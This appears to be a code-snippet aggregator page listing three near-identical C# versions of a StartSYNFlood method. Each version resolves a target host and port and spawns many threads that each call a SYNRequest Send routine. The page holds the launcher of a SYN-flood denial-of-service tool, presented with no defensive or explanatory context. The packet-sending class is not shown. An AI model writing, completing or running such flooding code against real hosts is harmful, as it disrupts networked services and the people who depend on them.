Beispiel #1
0
        public static void StartSYNFlood()
        {
            IPEndPoint IPEo;

            try
            {
                IPEo = new IPEndPoint(Dns.GetHostEntry(Host).AddressList[0], Port);
            }
            catch
            {
                IPEo = new IPEndPoint(IPAddress.Parse(Host), Port);
            }

            floodingThread = new Thread[ThreadsCount];
            ThreadStart[] floodingJob = new ThreadStart[ThreadsCount];
            SYNRequest[]  SYNClass    = new SYNRequest[ThreadsCount];

            for (int i = 0; i < ThreadsCount; i++)
            {
                SYNClass[i]       = new SYNRequest(IPEo, ISSockets);
                floodingJob[i]    = new ThreadStart(SYNClass[i].Send);
                floodingThread[i] = new Thread(floodingJob[i]);
                floodingThread[i].Start();
            }
        }
Beispiel #2
0
        public static void StartSYNFlood()
        {
            try
            {
                IPEo = new IPEndPoint(Dns.GetHostEntry(sFHost).AddressList[0], uPort);
            }
            catch
            {
                IPEo = new IPEndPoint(IPAddress.Parse(sFHost), uPort);
            }

            tFloodingThread = new Thread[iThreads];
            tFloodingJob = new ThreadStart[iThreads];
            SYNClass = new SYNRequest[iThreads];

            for (int i = 0; i < iThreads; i++)
            {
                SYNClass[i] = new SYNRequest(IPEo, iSSockets);
                tFloodingJob[i] = new ThreadStart(SYNClass[i].Send);
                tFloodingThread[i] = new Thread(tFloodingJob[i]);
                tFloodingThread[i].Start();
            }
        }
Beispiel #3
0
        public static void StartSYNFlood()
        {
            try
            {
                IPEo = new IPEndPoint(Dns.GetHostEntry(sFHost).AddressList[0], uPort);
            }
            catch
            {
                IPEo = new IPEndPoint(IPAddress.Parse(sFHost), uPort);
            }

            tFloodingThread = new Thread[iThreads];
            tFloodingJob    = new ThreadStart[iThreads];
            SYNClass        = new SYNRequest[iThreads];

            for (int i = 0; i < iThreads; i++)
            {
                SYNClass[i]        = new SYNRequest(IPEo, iSSockets);
                tFloodingJob[i]    = new ThreadStart(SYNClass[i].Send);
                tFloodingThread[i] = new Thread(tFloodingJob[i]);
                tFloodingThread[i].Start();
            }
        }